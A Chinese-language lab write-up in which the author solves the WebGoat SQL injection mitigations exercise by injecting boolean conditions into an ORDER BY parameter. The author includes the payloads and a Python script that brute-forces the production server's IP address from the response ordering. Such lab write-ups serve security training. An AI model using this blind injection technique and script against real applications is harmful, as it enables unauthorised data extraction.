这题刚开始不知道在哪排序。用惯了各种正常网页的按钮,不习惯这里的黑色小三角按钮。打开bp代理,按了下hostname 旁边的黑色三角按钮。
这里我尝试了一下
hostname' and true
服务器报出错误信息。
右键复制网址,在浏览器中打开,发现
表名为servers。
之后尝试了
hostname='webgoat-acc' and true -- -
此时,这个服务器排在响应的最后一个位置。
hostname='webgoat-acc' and true DESC -- -
再使用DESC倒序排列,此服务器排到了第一个位置。
hostname='webgoat-acc' and false DESC -- -
当条件为false时,服务器无法排到第一的位置。
因为求的是ip所以按照上面的推测重新编辑输入值
ip='192.168.2.1' and true DESC -- -
为什么选192.168.2.1?因为ip正常排序时它是第一位。
又因为需要求webgoat-prd的ip地址,则把true替换成
(select ip from servers where hostname='webgoat-prd')='x.130.219.202'
即
ip='192.168.2.1' and (select ip from servers where hostname='webgoat-prd')='x.130.219.202' DESC -- -
x是需要爆破的数字,因为bp的爆破功能不会使用筛选功能,学着写了个python脚本
import urllib.request as r
import json
headers = {
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
'cookie': 'JSESSIONID=3u26C0ESn2mQPMT7ILpnW6fsfz0N2qnHTz52yL6X',
}
for x in range(1, 256):
url = "http://webgoat:8080/WebGoat/SqlInjectionMitigations/servers?column=ip%3d'192.168.2.1'"\
"%20and%20((select%20ip%20from%20servers%20where%20hostname%3d'webgoat-prd')"\
"%3d'{0}.130.219.202')%20%20DESC".format(x)
req = r.Request(url=url, headers=headers)
respose = r.urlopen(req)
text = respose.read()
jsondata = json.loads(text)
if (jsondata[0]['ip'] == '192.168.2.1'):
print(str(x)+".130.219.202")
break
脚本写的简单粗暴,实际上还可以利用substring方法一位一位的对比。会比这种循环快很多。
https://blog.csdn.net/u013553529/article/details/82765062?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.control
利用case when接substring来判定true ,false,这样更简便。
为什么oder by 后面更 boolean参数会如此显示:
https://my.oschina.net/u/3676955/blog/1923718
order by 默认升序,而boolean的值为0 or 1。所以true时会拍在后面。
另外发现Get参数与HTTP/1.1之间如果多出一个空格,会导致错误请求。